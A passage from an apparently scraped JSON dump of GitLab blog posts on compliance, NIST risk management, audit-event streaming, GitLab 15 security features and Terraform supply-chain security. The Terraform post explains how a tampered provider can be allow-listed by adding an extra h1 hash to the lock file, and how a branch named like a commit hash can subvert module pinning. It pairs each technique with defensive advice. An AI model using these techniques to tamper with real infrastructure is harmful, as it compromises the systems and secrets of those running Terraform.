no inappropriate changes to key change management Segregation Of Duties (SOD) settings.\n- MON-03: Configure systems to produce audit records that contain sufficient information to, at a minimum: establish what type of event occurred; when (date and time) the event occurred; where the event occurred; the source of the event; the outcome (success or failure) of the event; and the identity of any user/subject associated with the event.\n\nHow does GitLab help you maintain your compliance? Have a favorite feature that helps your org maintain its compliance that we missed, let us know in the comments!\n\nInterested in learning more about how your organization can leverage the compliance features offered within GitLab? [Connect with a specialist to learn more](/sales/).\n\n**Note:** An asterisk (*) denotes a feature which is not available on our free tier.\n{: .note}\n\nCover image by [Miguel Á. Padriñán](https://www.pexels.com/@padrinan/) on [Pexels](https://www.pexels.com/photo/5-strike-symbol-1010973/)\n{: .note}\n",[14],{"slug":3300,"featured":6,"template":677},"top-5-compliance-features-to-leverage-in-gitlab","content:en-us:blog:top-5-compliance-features-to-leverage-in-gitlab.yml","Top 5 Compliance Features To Leverage In Gitlab","en-us/blog/top-5-compliance-features-to-leverage-in-gitlab.yml","en-us/blog/top-5-compliance-features-to-leverage-in-gitlab",{"_path":3306,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3307,"content":3312,"config":3320,"_id":3322,"_type":16,"title":3323,"_source":17,"_file":3324,"_stem":3325,"_extension":20},"/en-us/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features",{"title":3308,"description":3309,"ogTitle":3308,"ogDescription":3309,"noIndex":6,"ogImage":3253,"ogUrl":3310,"ogSiteName":767,"ogType":768,"canonicalUrls":3310,"schema":3311},"Managing risk with GitLab's plan of actions & milestones","The One DevOps Platform helps identify interdependencies and vulnerabilities as required by government compliance frameworks.","https://about.gitlab.com/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tackle a Plan of Actions and Milestones with GitLab’s risk management features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sameer Kamani\"}],\n        \"datePublished\": \"2022-07-07\",\n      }",{"title":3313,"description":3309,"authors":3314,"heroImage":3253,"date":3316,"body":3317,"category":14,"tags":3318},"Tackle a Plan of Actions and Milestones with GitLab’s risk management features",[3315],"Sameer Kamani","2022-07-07","\n\nSoftware is an essential part of everyday life. More and more organizations are being forced to push software to consumers faster for a better customer experience. But increasing software delivery speed cannot come at the expense of security. This adds more pressure on internal development, security, change management, operations, and site reliability teams.\n\nShifting left to find security vulnerabilities earlier within the DevOps process is a critical aspect of ensuring security scales with the pace of development. But U.S. federal government operations go a step further with the implementation of the National Institute of Standards and Technology (NIST) Risk Management Framework ([RMF](https://csrc.nist.gov/projects/risk-management/about-rmf)). The RMF, implemented with standards such as NIST 800-53, NIST 800-171, and NIST 800-37 all require careful consideration of security vulnerabilities identified as properly managed risks. This is further recommended with NIST 800-160 and NIST 800-161.\n\nHowever, practically speaking, not even the most diligent IT team can ensure full compliance with every requirement. This is when risk management becomes more critical as it has to be [continuously monitored](/stages-devops-lifecycle/monitor/) and evaluated through the software development lifecycle (SDLC).\n\nGenerally, the prescribed methodology is to prepare a plan and document the tasks necessary to resolve risks, along with the resources required to do so. Due to interdependencies with other software components, milestones may also be needed to track the work. This is embodied in the Plan of Actions and Milestones (POA&M) process.\n\n## GitLab and the POA&M process\n\nThere are two aspects of identifying and managing vulnerabilities. First, there has to be a quick and relatively easy way to identify new vulnerabilities and zero-day exploits as they become public. Second, it should be possible to check for existing vulnerabilities periodically – ideally in an automated or ad-hoc way as new information becomes available and internal or external auditor reviews are conducted.\n\nNIST provides a sample POA&M template to help organizations track the actions needed. But in our experience, the mental load to manage another separate document can be an added burden on all the teams, not to mention confusing as new versions of the information become available. GitLab provides numerous resources to assist with this process.\n\n## Using GitLab to identify vulnerabilities\n\nGitLab has multiple types of [security and compliance scanners](https://docs.gitlab.com/ee/user/application_security/) that evaluate source code in various ways. These scanners are capable of finding security weaknesses introduced in new code, vulnerable dependencies, container images, and non-compliant licenses from third-party code. These scans can run against every commit on every feature branch – before any code is merged or deployed into production. \n\n![GitLab scanning](https://about.gitlab.com/images/blogimages/poamprocess.png){: .shadow}\n\nAs potential security issues are found, GitLab provides an aggregated view of the findings both in the developer workflow and in dedicated vulnerability management tools. GitLab’s [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) allow security teams the ability to triage and manage vulnerabilities for individual projects or across groups of projects. From here, security teams can evaluate vulnerabilities, track remediation progress, or dismiss any false positives.  \n\nThis provides a direct way to find, catalog, and manage vulnerabilities. As this process moves further along, and vulnerabilities are characterized as a risk, GitLab provides a one-click process to convert and link the vulnerability with a work management item known as an Issue in GitLab. This can become a central location where, as per the POA&M process, it can be assigned to the Directly Responsible Individual (DRI), with due dates and milestones.  The Issue can also be placed into an Epic to manage larger, dependent, and correlated pieces of work. Labels and Issue Boards make it easier to manage these work items while adding visibility to all parties involved. This provides further transparency into how the work progresses and where more attention is needed.\n\nActive systems management processes such as the one provided natively by GitLab to scan, identify, manage, and develop plans for mitigation all in one system can be game-changing as they can bring an organization closer to achieving continuous monitoring and mitigation.\n\nThe downstream effect of having a single system like GitLab is that all the metrics from when something is found to when it is completed are tracked in a single source of truth. This can create powerful insights for future improvement.\n\nDiscover more about how GitLab can support your POA&M process so you can deliver secure software faster. \n\n[Talk to an expert](/sales/) about GitLab and NIST risk management compliance.\n",[2849,3319,14],"DevOps platform",{"slug":3321,"featured":6,"template":677},"tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features","content:en-us:blog:tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features.yml","Tackle Nists Plan Of Action And Milestones With Gitlabs Risk Management Features","en-us/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features.yml","en-us/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features",{"_path":3327,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3328,"content":3334,"config":3341,"_id":3343,"_type":16,"title":3344,"_source":17,"_file":3345,"_stem":3346,"_extension":20},"/en-us/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream",{"title":3329,"description":3330,"ogTitle":3329,"ogDescription":3330,"noIndex":6,"ogImage":3331,"ogUrl":3332,"ogSiteName":767,"ogType":768,"canonicalUrls":3332,"schema":3333},"Streaming audit events: Connect GitLab to your tech stack","Automation lets your DevSecOps teams have logic in place for how to handle events as they come in.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667845/Blog/Hero%20Images/gl15.jpg","https://about.gitlab.com/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use Streaming Audit Events to connect your technology stack with GitLab and Pipedream\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2022-06-27\",\n      }",{"title":3335,"description":3330,"authors":3336,"heroImage":3331,"date":3338,"body":3339,"category":14,"tags":3340},"Use Streaming Audit Events to connect your technology stack with GitLab and Pipedream",[3337],"Sam Kerr","2022-06-27","\n\nGitlab recently released [Streaming Audit Events](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) to provide you real-time visibility into what happens inside your GitLab groups and projects. Whenever something happens, an event will be sent to the HTTPS destination of your choice. This is a great way to understand immediately when something has changed and if there is an action that needs to be taken.\n\nThese events are often used to drive automation to update GitLab in response to certain actions, such as creating a new issue to onboard a team member when an account is added to a group, or to restore the correct value of a [merge request approval setting](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html) if it is changed. We know that many users want to combine the streaming audit events with other data sets and tools they already work with. Taking automatic action in response to audit events happening can help ensure your GitLab groups and projects are always in the correct, compliant state.\n\n## Pipedream simplifies the streaming audit event process\n\nDriving automation off of these events or combining the events with other data sets means the destination which will receive the events needs to be running and have logic in place for how to handle the events as they come in. This normally would require setting up and maintaining a server with high availability to receive events as they happen, run any automation scripts, and then process the events if they needed to be sent to another tool or combined with another data set. This is tricky to do right and an extra step that takes time. \n\nEnter our partner, [Pipedream](https://pipedream.com/). \n\nPipedream lets you connect APIs, remarkably fast. This includes the new streaming audit events from GitLab. When you select the GitLab New Audit Events trigger in a Pipedream workflow, Pipedream will automatically register an HTTPS endpoint for audit events in your GitLab group:\n\n![Pipedream registration process](https://about.gitlab.com/images/blogimages/pipedreamscreenshot.png){: .shadow}\n\nFrom there, Pipedream allows you to transform the data, forward it to any other tools using Pipedream’s [prebuilt actions](https://pipedream.com/docs/workflows/steps/actions/), or write any custom automation [with code](https://pipedream.com/docs/code/) (i.e., Node.js, Python, Go, or Bash).\n\n## Getting started with Pipedream and GitLab\n\nThe video below shows an example of how to use GitLab streaming audit events and Pipedream together to automatically alert your security team if a sensitive project setting is changed. This is powerful because it ensures that your security teams can immediately take action when a change occurs and understand why it happened.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ggzoUMEsjjU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThis is just one example of what you can do with Pipedream and GitLab together. Pipedream allows you to use any [GitLab API](https://docs.gitlab.com/ee/api/) in response to an audit event: You can change the setting to its original value, add comments to issues, kick off pipelines, and more. You can also trigger any action in any of the [700+ other apps](https://pipedream.com/apps) that it has built-in integrations with.\n\n## Open source integration means everyone can contribute\n\nPipedream and GitLab are both strong believers in open source. The integration is publicly available at the Pipedream [repository](https://github.com/PipedreamHQ/pipedream), and contributions are welcome! We are excited to see what sort of workflows you create with Pipedream and GitLab together.\n\n## Final thoughts\n\nIn this post, we talked about the power of GitLab’s [Streaming Audit Events](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) to give you immediate visibility into your groups and projects and how Pipedream makes it easy to build and automate workflows based on those audit events. This was just a preview of what is possible though, as you can use the entire GitLab API within Pipedream in response to audit events or interact with other tools supported by Pipedream.\n\nWe are excited to see the workflows you build with GitLab and Pipedream together. We showed how you can create a GitLab issue to alert the security team when settings are changed, but the sky is the limit - you might also create issues when new user accounts are created to onboard new team members, automatically restore changed settings, or forward data to a security information and event management, a.k.a. SIEM, system. With Pipedream and Gitlab, you can automatically take the actions necessary when things change to ensure you remain secure and compliant.\n",[2849,231,14],{"slug":3342,"featured":6,"template":677},"use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream","content:en-us:blog:use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream.yml","Use Streaming Audit Events To Connect Your Technology Stack With Gitlab And Pipedream","en-us/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream.yml","en-us/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream",{"_path":3348,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3349,"content":3354,"config":3360,"_id":3362,"_type":16,"title":3363,"_source":17,"_file":3364,"_stem":3365,"_extension":20},"/en-us/blog/security-gitlab-15",{"title":3350,"description":3351,"ogTitle":3350,"ogDescription":3351,"noIndex":6,"ogImage":3331,"ogUrl":3352,"ogSiteName":767,"ogType":768,"canonicalUrls":3352,"schema":3353},"GitLab's Commitment to Enhanced AppSec in Modern DevOps","Security abounds in our latest DevOps platform release, GitLab 15.","https://about.gitlab.com/blog/security-gitlab-15","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's commitment to enhanced application security in the modern DevOps world\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-06-21\",\n      }",{"title":3355,"description":3351,"authors":3356,"heroImage":3331,"date":3357,"body":3358,"category":14,"tags":3359},"GitLab's commitment to enhanced application security in the modern DevOps world",[856],"2022-06-21","\nWith [GitLab 14](/gitlab-14/), we saw deep emphasis on modernizing our DevOps capabilities. This modernization enabled enhanced application security and strenghtened collaboration between developers and security professionals.\n\nWe saw enhancments such as:\n\n- global rule registry and customization for policy requriements with support for separation of duties\n- a newly developed browser-based Dynamic Application Security Testing (DAST) scanner used to test and secure modern APIs and Single Page\nApplications\n- more support for different languages using Semgrep\n- new vulnerability management capabilities to increase visibility\n\nWith the GitLab 15 release, we can see how our commitment to enhancing application security across the board is stronger than ever. In this blog post, I will provide details on how GitLab is commited to enhancing not only security, but efficiency.\n\n> Discover how GitLab 15 can help your team deliver secure software, while maintaining compliance and automating manual processes.\nSave the date for our GitLab 15 [launch event](https://page.gitlab.com/fifteen) on June 23rd!\n\n## GitLab 15 security features\n\nWe see that with every GitLab release, there are plenty of enhancements to our security tools.\nGitLab 15 is no exception! We can see a boatload 🚢 of security enhacements released in GitLab 15 below:\n\n- [Container Scanning available in all tiers](https://docs.gitlab.com/ee/user/application_security/container_scanning/#capabilities)\n- [Audit changes to group IP allowlist](https://docs.gitlab.com/ee/administration/audit_events.html#group-events)\n- [Revoke a personal access token without PAT ID](https://docs.gitlab.com/ee/api/personal_access_tokens.html#using-a-request-header)\n- [Project-level Secure Files in open beta](https://docs.gitlab.com/ee/ci/secure_files/)\n- [Dependency scanning support for poetry.lock files](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers)\n- [Semgrep-based Static Application Security Testing (SAST) scanning available for early adoption](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html#transition-to-semgrep-based-scanning)\n- [Access and Verify actions for environments](https://docs.gitlab.com/ee/ci/yaml/index.html#environmentaction)\n- [Terraform CI/CD template authenticates to Terraform module registry](https://docs.gitlab.com/ee/user/infrastructure/iac/#integrate-your-project-with-terraform)\n- [GitLab advisory data included in container scanning results](https://docs.gitlab.com/ee/user/application_security/container_scanning/#vulnerabilities-database)\n- [New audit events for merge settings](https://docs.gitlab.com/ee/administration/audit_events.html#project-events)\n- [Users with the Reporter role can manage iterations and milestones](https://docs.gitlab.com/ee/user/permissions.html)\n- [Dependency path information](https://docs.gitlab.com/ee/user/application_security/dependency_list/#dependency-paths)\n- [Secure and Protect analyzer major version update](https://docs.gitlab.com/ee/user/application_security/)\n- [Static Analysis analyzer updates](https://docs.gitlab.com/ee/user/application_security/sast/analyzers)\n- [Approve deployments from the Environments detail page](https://docs.gitlab.com/ee/ci/environments/deployment_approvals.html)\n- [Scan result policies listed under MR approval settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#security-approvals)\n\nThese features run across different stages of the software development lifecycle. I have created a video showing some of the coolest new security features\nin GitLab 15:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/BasGVNvOFGo\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## Scanners moved to GitLab Free Tier\n\nA lot of our scanners were only part of GitLab Ultimate in the past. However, over time, certain scanners\nhave been moved over to GitLab Free Tier, enabling you to enhance the security of your application\nno matter what tier of GitLab you are using.\n\n| Scanner            | Introduced | Moved to Free |\n| ------------------ | ---------- | ------------- |\n| SAST               | 10.3       | 13.3          |\n| Container Scanning | 10.4       | 15.0          |\n| Secret Detection   | 11.9       | 13.3          |\n\nWithin the free tier, you are able to download the reports generated by the security scanners.\nThis allows developers to see what vulnerabilities were detected within their source code and\ncontainer images.\n\n![Report on vulnerabilities](https://about.gitlab.com/images/blogimages/modern-devops-security/results_1.png)\n\nHowever, there are benefits to upgrading to Ultimate, which are described below.\n\n## Benefits of upgrading to Ultimate\n\nSome organizations have multiple groups and projects they are working on, as well as a the security team,\nwhich manages all the detected vulnerabilities. While having security scan reports ready for download\nis useful, it is not exactly scalable across an organization. This is where Ultimate assists in enhancing\nDevSecOps efficiency.\n\n### Scanners\n\nWhile the GitLab Free Tier includes SAST, Secret Detection, and Container Scanning to find vulnerabilities\nin your source code, when you upgrade to Ultimate, you are provided with even more scanners. Here are some\nof the additional scanners provided in Ultimate:\n\n- [DAST](https://docs.gitlab.com/ee/user/application_security/dast/index.html)\n- [Operational Container Scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n- [Infrastructure as Code Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n- [Coverage-Guided Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)\n- [Web-API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n\n### Developer Lifecycle\n\nIn Ultimate, there is enhanced functionality within the developer lifecycle. The merge request a developer creates will\ncontain a security widget which displays a summary of the new security scan results. New results are determined by\ncomparing the current findings against existing findings in the default branch.\n\n![Ultimate security widget](https://about.gitlab.com/images/blogimages/modern-devops-security/developer_1.png)\n\nThe results contain not only detailed information on the vulnerability and how it affects the system, but also\nsolutions to mitigating or resolving the issue. These vulnerabilities are also actionable, meaning that a comment\ncan be added in order to notify the security team, so they may review – enhancing developer and appsec collaboration.\nA confidential issue can also be created so that developers and security professionals can work together towards a\nresolution safely and efficiently.\n\n![Confidential issue](https://about.gitlab.com/images/blogimages/modern-devops-security/developer_2.png)\n\nWhile these features were avaliable in Ultimate on older versions of GitLab, within release 14 this feature was heightened\nto include developer training within the vulnerability, helping to educate developers and make them more security-aware. GitLab 15\nwill provide even more enhancements to the developer lifecycle.\n\n![Ultimate enhancements](https://about.gitlab.com/images/blogimages/modern-devops-security/developer_3.png)\n\n### Security team lifecycle\n\nThere are also several features which greatly benefit members of a security team.\n\nThe security team is able to effectively manage and triage vulnerabilities using the [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/).\n\n![Vulnerability reports](https://about.gitlab.com/images/blogimages/modern-devops-security/appsec_1.png)\n\nThe [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) allows the security team to assess the security posture\nof a project or group of projects. This is helpful to see how many vulnerabilities were introduced/resolved over time, as well as which projects require more\nattention than others\n\n![security dashboard](https://about.gitlab.com/images/blogimages/modern-devops-security/appsec_2.png)\n\nSeparation of duties can be enforced using [Compliance Frameworks](https://docs.gitlab.com/ee/user/project/settings/#compliance-frameworks)\nand [Security Policies](https://docs.gitlab.com/ee/user/application_security/policies/) assuring code requires approval before making it to production.\n\n![Separation of duties](https://about.gitlab.com/images/blogimages/modern-devops-security/appsec_3.png)\n\nThese are just some of the features GitLab has to offer in terms of security. For even more features, please see\nthe [GitLab application security](https://docs.gitlab.com/ee/user/application_security/) documentation.\n\n---\n\nThanks for reading! To find out more about the newest security features in GitLab 15, check out\nthe [release post](/releases/2022/05/22/gitlab-15-0-released/). For upcoming\nversion features, see the [Upcoming Releases](/upcoming-releases/) page.\n\nIt is also helpful to check out our [Secure](/direction/secure/) and [Protect](/direction/govern/) roadmaps to get an idea of the direction we\nare headed!\n",[14,2849],{"slug":3361,"featured":6,"template":677},"security-gitlab-15","content:en-us:blog:security-gitlab-15.yml","Security Gitlab 15","en-us/blog/security-gitlab-15.yml","en-us/blog/security-gitlab-15",{"_path":3367,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3368,"content":3374,"config":3380,"_id":3382,"_type":16,"title":3383,"_source":17,"_file":3384,"_stem":3385,"_extension":20},"/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers",{"title":3369,"description":3370,"ogTitle":3369,"ogDescription":3370,"noIndex":6,"ogImage":3371,"ogUrl":3372,"ogSiteName":767,"ogType":768,"canonicalUrls":3372,"schema":3373},"Terraform in the software supply chain: Modules & providers","We examine the supply chain aspects of Terraform, starting with a closer look at malicious Terraform modules and providers and how you can better secure them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682329/Blog/Hero%20Images/pexels-mateusz-dach-353641.jpg","https://about.gitlab.com/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Terraform as part of the software supply chain, Part 1 - Modules and Providers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2022-06-01\",\n      }",{"title":3375,"description":3370,"authors":3376,"heroImage":3371,"date":3377,"body":3378,"category":14,"tags":3379},"Terraform as part of the software supply chain, Part 1 - Modules and Providers",[2960],"2022-06-01","\n\n## What is Terraform?\n\nTerraform is an infrastructure as code (IaC) solution that helps businesses grow their infrastructure securely and at scale, while managing everything in it from multiple servers to multiple clouds. Terraform lets you build your complete infrastructure as code.\n\nTerraform, which was created by HashiCorp, is an open-source, public-cloud-provisioning tool written in the Go language. Although Terraform serves many functions, its primary use is to help DevOps teams automate various infrastructure management tasks and helps you manage all of your servers and resources, even if they come from different providers (unlike some other IaC competitors). Terraforms connects all of your infrastructures and helps you manage it. \n\nTerraform supports many providers like [AWS](/blog/deploy-aws/), Google Cloud Platform, Azure, and others via APIs provided by the cloud service providers.\n\n## What are the benefits of using Terraform providers?\n\nThe biggest benefit of using a Terraform cloud provider is the versatility that it provides to DevOps teams. Regardless of which provider you use, Terraform lets you easily manage all of your resources no matter where you’re located and how many servers you have at your disposal. \n\nThe other major advantage to using Terraform is automation. On any given DevOps team today, there are far too many functions that need to happen repeatedly and simultaneously. The only way to be able to efficiently manage all that needs to be done is to automate a lot of your processes. \n\nTerraform helps you automate all of your server management tasks. Everything is done in code, and it eliminates a lot of manual work. The ability to create scripts that run your task actions and reuse them makes life a lot easier for DevOps teams. \n\nFinally, unlike other IaC providers, Terraform doesn’t require any agent software to be installed on the managed infrastructure, making it more user-friendly than those competitors that require agent-based software for IaC installation.\n\n## Terraform Security\n\nWhen talking about Terraform security, there are many resources covering the security aspects of the infrastructure surrounding certain Terraform configurations. Looking at the security of Terraform itself and the things which could go wrong when running it, however, have very little coverage so far.\n\nSome previously published work I'm aware of includes:\n\n- A [blogpost covering malicious Terraform modules](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/) by [xssfox](https://sprocketfox.io/xssfox/about/) had already been published when I started digging into the topic. The main attack vector in this case is a malicious Terraform module which exfiltrates an AWS System Manager-stored secret via HTTP towards an attacker-controlled host.\n\n- The folks at [bridgecrew](https://bridgecrew.io/) reacted to the above xssfox post with some [static detection rules](https://github.com/bridgecrewio/checkov/blob/63d36e5ba309e9c03ef99a13f264ba256d756d8d/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) for their tool `checkov` and a [blogpost looking at the supply chain aspects of Terraform](https://bridgecrew.io/blog/terraform-supply-chain-security-risks-prevent-them-with-checkov/).\n\n- Also worth mentioning is, of course, [Hashicorp's stance on malicious Terraform modules and providers](https://www.terraform.io/cloud-docs/architectural-details/security-model#malicious-terraform-providers-or-modules):\n\n> **\"Terraform providers and modules used in your Terraform configuration will have full access to the variables and Terraform state within a workspace. Terraform Cloud cannot prevent malicious providers and modules from exfiltrating this sensitive data. We recommend only using trusted modules and providers within your Terraform configuration.\"**\n\nThe blog post you're reading is part one of a three-part series examining the supply chain aspects of Terraform and aims to look at malicious Terraform modules and providers. I'll also give recommendations on securing the process of running Terraform against modules and providers gone rogue. The next two blogs in the series will build upon these findings and cover more in-depth topics and vulnerabilities.\n\n## Provider security\nProviders in Terraform are executable binaries, so if a provider turns malicious it's certainly \"game over\" in the sense that it can do whatever the host OS it runs on allows. Providers need to have a signature which gets validated by Terraform upon installation of the Provider. Version `0.14` Terraform creates a [dependency lock file](https://www.terraform.io/language/files/dependency-lock) which records checksums of the used providers in two different formats.\n\n### zh and h1 checksums\nThe first format, `zh`, is simply a SHA256 hash of the `zip` file which contains a provider for a specific OS/hardware platform combination. The `h1` hash is a so-called \"[dirhash](https://pkg.go.dev/golang.org/x/mod/sumdb/dirhash)\" of the provider's directory. \n\nSo if we look at the following lock file `.terraform.lock.hcl` we can observe the two different types of hashes:  \n\n```hcl\n# This file is maintained automatically by \"terraform init\".  \n# Manual edits may be lost in future updates.  \n  \nprovider \"registry.terraform.io/hashicorp/aws\" {  \n version = \"4.11.0\"  \n hashes = [  \n   \"h1:JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\",  \n   \"zh:3e4634f4babcef402160ffb97f9f37e3e781313ceb7b7858fe4b7fc0e2e33e99\",  \n   \"zh:3ff647aa88e71419480e3f51a4b40e3b0e2d66482bea97c0b4e75f37aa5ad1f1\",  \n   \"zh:4680d16fbb85663034dc3677b402e9e78ab1d4040dd80603052817a96ec08911\",  \n   \"zh:5190d03f43f7ad56dae0a7f0441a0f5b2590f42f6e07a724fe11dd50c42a12e4\",  \n   \"zh:622426fcdbb927e7c198fe4b890a01a5aa312e462cd82ae1e302186eeac1d071\",  \n   \"zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425\",  \n   \"zh:b0b766a835c79f8dd58b93d25df8f37749f33cca2297ac088d402d718baddd9c\",  \n   \"zh:b293cf26a02992b2167ed3f63711dc01221c4a5e2984b6c7c0c04a6155ab0526\",  \n   \"zh:ca8e1f5c58fc838edb5fe7528aec3f2fcbaeabf808add0f401aee5073b61f17f\",  \n   \"zh:e0d2ad2767c0134841d52394d180f8f3315c238949c8d11be39a214630e8d50e\",  \n   \"zh:ece0d11c35a8537b662287e00af4d27a27eb9558353b133674af90ec11c818d3\",  \n   \"zh:f7e1cd07ae883d3be01942dc2b0d516b9736a74e6037287ab19f616725c8f7e8\",  \n ]  \n}\n```\n\nThe `zh` entries can also be found in the [provider's v.4.11.0 release](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/) within the [SHA256SUMS](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/terraform-provider-aws_4.11.0_SHA256SUMS) file. To understand the single `h1` dirhash entry we need to have a look at the provider's directory. \n\nIn our Terraform project it is constructed like this:  \n\n```\n$ ls .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/                                     \nterraform-provider-aws_v4.11.0_x5\n$ cd .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/\n$ sha256sum terraform-provider-aws_v4.11.0_x5\n34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de  terraform-provider-aws_v4.11.0_x5\n$ sha256sum terraform-provider-aws_v4.11.0_x5 > /tmp/dirhash\n$ sha256sum /tmp/dirhash    \n253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1  /tmp/dirhash\n$ echo 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 | ruby -rbase64 -e 'puts Base64.encode64 [STDIN.read.chomp].pack(\"H*\")'  \nJTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\n```\n\nThe `dirhash`, called `h1` in the lock file, is created from an alphabetical list of `sha256sum filename`. Once this list is `sha256sum` ed again, the resulting hash is taken in binary representation and then converted to Base64.\n\nFrom an attacker's perspective, the interesting part about the lock file is that it can contain multiple `zh` and `h1` hashes per provider. It is also noteworthy that those two types don't have to have any relationship. If we modify a downloaded provider's content on disk, we can simply place the corresponding `h1` hash next to any other `h1` in the lock file. As there can be multiple entries we would not break any legitimate installation and just allow-list a modified provider directory on-disk on top of what's already allowed.\n\n**Lessons learned here**\n\n1. Put your `.terraform.lock.hcl` under version control (Terraform even suggests this on the command line when it generates the file).\n2. Verify and double-check any modifications and additions to the `.terraform.lock.hcl` file; this is crucial to detect any tampering with the providers in use.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## Module security\n\nModules don't have any form of signature, and can be downloaded from different [module sources](https://www.terraform.io/language/modules/sources#module-sources). By default what happens when you instruct Terraform to download a module is that the [public Terraform Registry](https://www.terraform.io/language/modules/sources#terraform-registry) will redirect the Terraform client to download a Git tag from a public GitHub repository. The problem here is that Git tags on GitHub are mutable. They can simply be replaced with completely different content by e.g. a force-push of new content under the same tag to GitHub.\n\nSo having a module referenced like:  \n\n```hcl\nmodule \"hello\" {\n  source  = \"joernchen/hello/test\"\n  version = \"0.0.1\"\n}\n```\n\nwould download the [Git tag `v0.0.1`](https://github.com/joernchen/terraform-test-hello/releases/tag/v0.0.1) from my GitHub repository but there's no guarantee about the content. \n\nAt this point, the most common recommendation is [to specify a git ref](https://www.terraform.io/language/modules/sources#selecting-a-revision) pointing to a full commit SHA. This approach isn't perfect either in the non-default case. Depending on the module source, we can utilize the fact that we're able to name a branch just like a commit hash. GitLab and GitHub won't allow you to create such branches, or to push branches that look like commit hashes. However, other module sources might allow this. An actual attack using this vector would look like what we see below.  \n\nFirst we look at a legitimate clone referencing a git commit:  \n\n```\n$ cat main.tf \nmodule \"immutable_module\"{\n  source = \"git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758\"\n}\n$ terraform init                                                                    \nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n\nInitializing the backend...\n\nInitializing provider plugins...\n- Finding latest version of hashicorp/http...\n- Installing hashicorp/http v2.1.0...\n- Installed hashicorp/http v2.1.0 (signed by HashiCorp)\n\nTerraform has created a lock file .terraform.lock.hcl to record the provider\nselections it made above. Include this file in your version control repository\nso that Terraform can guarantee to make the same selections by default when\nyou run \"terraform init\" in the future.\n\nTerraform has been successfully initialized!\n\nYou may now begin working with Terraform. Try running \"terraform plan\" to see\nany changes that are required for your infrastructure. All Terraform commands\nshould now 